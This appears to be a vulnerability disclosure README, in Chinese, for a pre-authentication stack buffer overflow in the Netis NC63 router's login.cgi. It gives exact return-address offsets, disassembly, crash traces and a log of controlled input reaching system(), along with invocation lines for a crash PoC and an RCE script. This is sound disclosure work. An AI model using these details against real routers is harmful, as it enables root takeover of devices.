login.cgi 中经 Base64 解码密码导致的未认证预认证栈缓冲区溢出,可致 RCE研究员: Özcan Ersan (@ozcanpng)
CVE-2026-76070NC63_V3.0.0.3327/bin/netis.cgiPOST /cgi-bin/login.cgipasswordNetis NC63 固件 V3.0.0.3327 中的公开登录处理程序获取攻击者控制的
password 参数,并使用自定义 Base64 例程 FUN_00402bd4 对其进行解码。
调用方提供了一个 64 字节的本地栈缓冲区,但未将其容量传递给解码器。
解码器根据编码输入推导其工作量,并在不检查目标末尾的情况下写入解码后的字节。
保存的 MIPS 返回地址位于解码缓冲区起始位置之后 136 字节处。针对原始哈希生产 CGI 的动态测试确认:
B 模式会在 0x42424242 处产生故障;ra 替换为 0x0041a2e0 会导致在登录处理程序处观察到第二次进入,证明程序计数器可控;以及system() 调用,并使用攻击者选择的 MIPS a0 值。替换的 /bin/sh 记录了 /bin/sh -c NC63_RCE_PROOF,且未执行任何命令。本仓库中的公开 PoC 有意止步于崩溃模式。它不包含返回链、shellcode、命令、反向 shell 或持久化。
poc/exploit-db/ 中单独维护的 RCE 脚本是为提交至 Exploit-DB 而准备的,仅用于对受影响系统进行授权测试。
193f6a5e2ce65972b1805bf076f8d3521379a8441c8aaeb5ad0ba174bbee0792 netis_NC63_V3.0.0.3327.bin
23faa747b7d2f067aa5431bcc227ceca97a7977cf3e7c372f715cbba57f9209b squashfs-root/bin/boa
eb298774c27070dc595fefcabb4e8c12a46cb5f4fd08f91c3ca92282c3a289a2 squashfs-root/bin/netis.cgi
动态测试的 /bin/netis.cgi 副本与从厂商固件中提取的可执行文件具有相同的 SHA-256。

厂商前端将密码以 Base64 形式发送到公开端点:
obj.password = base64encode(utf16to8(password));
request({
url: "/cgi-bin/login.cgi",
data: obj
});
HTML 字段使用了 maxlength="63",但这只是浏览器端的限制。直接的 HTTP 客户端可以提交更大的编码值。

login.cgi 在认证之前必然可达。不安全的解码发生在将解码后的密码与配置的管理员密码进行比较之前。不需要有效的会话、Cookie 头、Authorization 头或正确的密码。
Unauthenticated HTTP client
|
| POST /cgi-bin/login.cgi
| password=<attacker-controlled Base64>
v
/bin/netis.cgi: FUN_0041a2e0
|
| get_request_param("password")
v
FUN_00402bd4(decoded_stack_buffer, encoded_password)
|
| no destination-capacity argument
| decoded output exceeds 64 bytes
v
saved s8 at decoded offset 132
saved ra at decoded offset 136
|
v
attacker-selected MIPS PC
源自 Ghidra 的伪代码,为便于阅读已对名称进行规范化处理:
int login_cgi(void *request)
{
char decoded[64];
char stored[68];
char *password;
memset(decoded, 0, 64);
memset(stored, 0, 64);
password = get_request_param(request, "password");
if (password != NULL)
FUN_00402bd4(decoded, password); /* no capacity argument */
apmib_get(0x15e, stored);
if (strcmp(decoded, stored) == 0)
printf("[\"SUCCESS\"]");
else {
system("echo 0 >/tmp/boa_auth");
printf("[\"%d\"]", 0x15);
}
return 0;
}

位于 FUN_00402bd4 的解码器仅接收目标指针和源指针。
其循环会推进目标指针,并为每四个 Base64 符号存储最多三个解码后的字节。没有任何比较操作会检查目标指针是否超出 decoded + 64。

Base64 是输入变换方式,而非底层缺陷。根本原因在于攻击者控制的解码后长度与固定大小的目标缓冲区之间的不匹配,而后者的容量从未被强制执行。对于普通的带填充输入,四个编码字符最多表示三个解码后的字节;因此,服务器端检查必须在写入之前计算并验证解码后的大小。
FUN_0041a2e0 起始于 0x0041a2e0,并创建一个 0xa8 字节的栈帧:
0041a2e0 addiu sp,sp,-168
0041a2e4 sw ra,164(sp)
0041a2e8 sw s8,160(sp)
0041a2ec move s8,sp
解码后的目标地址从 s8+0x1c 开始;保存的 s8 和保存的 ra 分别位于
s8+0xa0 和 s8+0xa4:
decoded[64] s8+0x1c decoded offset 0
saved s8 s8+0xa0 decoded offset 132
saved ra s8+0xa4 decoded offset 136
精确的返回地址距离为 0xa4 - 0x1c = 0x88,即 136 字节。

一个 140 字节的解码 B 模式替换了四字节的保存返回地址:
--- SIGSEGV {si_signo=SIGSEGV, si_code=1, si_addr=0x42424242} ---
qemu: uncaught target signal 11 (Segmentation fault)

另一组 140 字节的输入将 ra 保存为 0x0041a2e0。QEMU CPU 跟踪记录到一次普通的第一处理程序入口,随后是第二次入口,其中 s8=0x41414141 且 ra=0x0041a2e0。

原始二进制在 0x0041a3cc 处包含一条直接的 jal system。在私有的隔离验证中,现有的固定基址指令将一个标记加载到 a0 并到达了该调用。一个静态观察程序被挂载到 /bin/sh 之上;它记录了命令解释器的参数,并且没有执行任何内容:
argv[0]=</bin/sh>
argv[1]=<-c>
argv[2]=<NC63_RCE_PROOF>
CONTROLLED_MARKER_REACHED
PASS: attacker-controlled a0 reached system() and /bin/sh argv.
PASS: the guard logged the request and executed no command.
这展示了隔离的生产代码路径中的一个 RCE 原语。它并不能证明在物理路由器上、在其部署的内核和栈随机化配置下具有相同的漏洞利用可靠性。
原始 Boa 配置指定了 User root、Group root,以及包含 /bin 和 /web/cgi-bin 的 CGI 路径。生产可执行文件为固定基址(0x00400000),没有栈金丝雀或 RELRO,并声明了一个带有 RWX 段的可执行 GNU 栈。


随附脚本默认采用 dry-run 模式,仅生成一个解码后包含 140 个 B 字节的 Base64 表单主体:
python3 poc/poc.py
发送需要明确指定授权目标以及 --send:
python3 poc/poc.py --target http://192.168.1.1 --send
poc/exploit-db/CVE-2026-76070.py 是为 Exploit-DB 准备的 RCE 脚本。
它针对已记录的未认证 login.cgi 漏洞,并接受
一个命令参数,用于对已授权的受影响测试目标进行测试:
python3 poc/exploit-db/CVE-2026-76070.py <target> "id"
发送该模式可能导致 CGI 进程崩溃。请仅在获得授权的、可丢弃的环境中使用它。该 PoC 未实现私有的 RCE 验证链。
成功利用可在路由器管理上下文中执行攻击者选定的代码或命令。在原始 Boa 配置下,该上下文以 root 身份运行。潜在后果包括配置和机密泄露、DNS/防火墙/路由操纵、流量重定向、服务中断以及设备完全被攻陷。
FUN_00402bd4 的每一个调用方。有关截图和跟踪映射,请参见 evidence/README.md。
规范化后的 Ghidra 摘录位于
attachments/decompiled-functions/。
CVE-2026-76070 并授权公开披露。未对任何物理路由器进行刷机。未使用任何真实 shell 命令、反向 shell、持久化、外部连接、凭据窃取或破坏性固件操作。